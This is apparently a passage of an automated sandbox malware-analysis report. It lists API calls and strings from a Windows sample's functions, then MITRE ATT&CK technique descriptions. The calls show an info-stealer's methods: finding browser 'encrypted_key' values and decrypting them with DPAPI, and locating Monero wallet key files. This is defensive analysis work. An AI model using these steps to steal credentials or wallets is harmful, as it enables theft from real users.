Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FAD801
lstrlen.KERNEL32(00000000), ref: 00FAD99F
lstrlen.KERNEL32(00000000), ref: 00FAD9B3
DeleteFileA.KERNEL32(00000000), ref: 00FADA32

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 299b5e5ea428c9d010325d4a9e9b81f3168cdafe166e509f187b2823393ca262
Instruction ID: 78af012414d8f5abf55aee27f16090a95200bec92e1f3b54b17e0c8dd5ea4e16
Opcode Fuzzy Hash: 299b5e5ea428c9d010325d4a9e9b81f3168cdafe166e509f187b2823393ca262
Instruction Fuzzy Hash: EB811471910108AADB18FBE1DDA2DEE737CAF54300F504128F417B6491EF38AA59EF62

Function 00FAF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FA99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FA99EC
Part of subcall function 00FA99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FA9A11
Part of subcall function 00FA99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FA9A31
Part of subcall function 00FA99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FA148F,00000000), ref: 00FA9A5A
Part of subcall function 00FA99C0: LocalFree.KERNEL32(00FA148F), ref: 00FA9A90
Part of subcall function 00FA99C0: CloseHandle.KERNEL32(000000FF), ref: 00FA9A9A

Part of subcall function 00FB8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FB8E52

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00FC1580,00FC0D92), ref: 00FAF54C
lstrlen.KERNEL32(00000000), ref: 00FAF56B

Strings

^userContextId=4294967295, xrefs: 00FAF59C
moz-extension+++, xrefs: 00FAF5AD

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: ef5df7e7c3545d5577e3a33fb479c8c47a4ea68830f2703930e98706493138a5
Instruction ID: c602c06afe9d84a5030ac66430ada31bd7bef6dcdf73177765a77c051158524f
Opcode Fuzzy Hash: ef5df7e7c3545d5577e3a33fb479c8c47a4ea68830f2703930e98706493138a5
Instruction Fuzzy Hash: 17511175D10108BADB14FBA1DC96DED7378AF54300F508528F81667191EF38AA19EFA2

Function 00FB3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: c301c68da10f74e16703cf7bf77b3111b14731782d2629b8af38273f5b91450b
Instruction ID: 03dd16a2e02a049871077aaed1c43119da02f2cbf38ced554c740e2b8a2f9c8b
Opcode Fuzzy Hash: c301c68da10f74e16703cf7bf77b3111b14731782d2629b8af38273f5b91450b
Instruction Fuzzy Hash: B8413F75D10109EBCB08EFE6DD55EEEB779AF44304F108018E41677280EB79AA45EFA2

Function 00FA9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FA99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FA99EC
Part of subcall function 00FA99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FA9A11
Part of subcall function 00FA99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FA9A31
Part of subcall function 00FA99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FA148F,00000000), ref: 00FA9A5A
Part of subcall function 00FA99C0: LocalFree.KERNEL32(00FA148F), ref: 00FA9A90
Part of subcall function 00FA99C0: CloseHandle.KERNEL32(000000FF), ref: 00FA9A9A

Part of subcall function 00FB8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FB8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FA9D39

Part of subcall function 00FA9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FA4EEE,00000000,00000000), ref: 00FA9AEF
Part of subcall function 00FA9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FA4EEE,00000000,?), ref: 00FA9B01
Part of subcall function 00FA9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FA4EEE,00000000,00000000), ref: 00FA9B2A
Part of subcall function 00FA9AC0: LocalFree.KERNEL32(?,?,?,?,00FA4EEE,00000000,?), ref: 00FA9B3F

Part of subcall function 00FA9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FA9B84
Part of subcall function 00FA9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00FA9BA3
Part of subcall function 00FA9B60: LocalFree.KERNEL32(?), ref: 00FA9BD3

Strings

"encrypted_key":", xrefs: 00FA9D30
DPAPI, xrefs: 00FA9D89
, xrefs: 00FA9DC1

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 63e8561c3665d70b75704c005eb78914aa1ac8fdcffa490cfb2c50cd49eb79af
Instruction ID: 2059c88e9b25262a0c2185c2b04fd65f8355bcfc1b6273bee6d0558919e11377
Opcode Fuzzy Hash: 63e8561c3665d70b75704c005eb78914aa1ac8fdcffa490cfb2c50cd49eb79af
Instruction Fuzzy Hash: EF316DB6D10209ABCF04DFE4DC86EEFB7B8BF49304F144529E901A7241EB749A54DBA1

Function 00FB92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00FB3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00FB3AEE,?), ref: 00FB92FC
GetFileSizeEx.KERNEL32(000000FF,00FB3AEE), ref: 00FB9319
CloseHandle.KERNEL32(000000FF), ref: 00FB9327

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: c3721234a614ab186a601f15613f2d2b1a5d9c4a02c909a7724b1c717667b397
Instruction ID: d536d7a4c212c8cb3927b2635e94bfc5e0cdf5f380e5aaaa87c0ecbf3d337368
Opcode Fuzzy Hash: c3721234a614ab186a601f15613f2d2b1a5d9c4a02c909a7724b1c717667b397
Instruction Fuzzy Hash: 0EF0AF75E44208BBDB24DFF1EC08F9E77F9AB48720F10C264B621AB2C4D6B196409F50

Function 00FBC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00FBC74E

Part of subcall function 00FBBF9F: __amsg_exit.LIBCMT ref: 00FBBFAF

__getptd.LIBCMT ref: 00FBC765
__amsg_exit.LIBCMT ref: 00FBC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00FBC797

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 56503a2a38b82b7401675de88fc211025f9c125d074bda83bd651ea926c29dc1
Instruction ID: 486c0d0e046fcf33e8974c39e2e6e7b9c795e56b1e1f87a3169af3331796e446
Opcode Fuzzy Hash: 56503a2a38b82b7401675de88fc211025f9c125d074bda83bd651ea926c29dc1
Instruction Fuzzy Hash: 7CF09A32D046059BD725BBBB9C07BEA37A0AF00721F244149F454A71D2DFAC9940BE96

Function 00FB4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FB8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FB4F7A
lstrcat.KERNEL32(?,00FC1070), ref: 00FB4F97
lstrcat.KERNEL32(?,008C8E60), ref: 00FB4FAB
lstrcat.KERNEL32(?,00FC1074), ref: 00FB4FBD

Part of subcall function 00FB4910: wsprintfA.USER32 ref: 00FB492C
Part of subcall function 00FB4910: FindFirstFileA.KERNEL32(?,?), ref: 00FB4943

Part of subcall function 00FB4910: StrCmpCA.SHLWAPI(?,00FC0FDC), ref: 00FB4971
Part of subcall function 00FB4910: StrCmpCA.SHLWAPI(?,00FC0FE0), ref: 00FB4987
Part of subcall function 00FB4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00FB4B7D
Part of subcall function 00FB4910: FindClose.KERNEL32(000000FF), ref: 00FB4B92

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 331960265713821592a71db78d2d1442dd483ba44454afab2185220d1025a306
Instruction ID: 2f689bfd17f519a929779ae6f1b5d99b18a4399dfd4f3e43260afc2a64691be4
Opcode Fuzzy Hash: 331960265713821592a71db78d2d1442dd483ba44454afab2185220d1025a306
Instruction Fuzzy Hash: 5A21887A900208ABC768F7E0EC46EE937BCAF54700F004558B65997185EF789AC9DF92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
